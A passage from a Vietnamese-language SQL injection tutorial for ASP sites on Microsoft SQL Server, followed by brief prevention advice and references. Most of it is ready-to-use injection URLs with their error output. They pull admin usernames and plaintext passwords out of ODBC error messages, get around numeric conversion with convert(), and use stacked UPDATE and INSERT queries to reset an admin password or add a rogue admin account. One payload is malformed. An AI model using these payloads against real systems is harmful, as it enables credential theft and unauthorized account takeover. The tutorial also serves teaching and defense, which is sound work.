Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5

Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

input do người dùng đệ trình

các tham số từ URL

các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

xp_cmdshell xp_startmail xp_sendmail sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

14. Tài liệu thao khảo

How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages

http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm

Khác:

http://www.digitaloffense.net/warga.../IOWargames.ppthttp://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6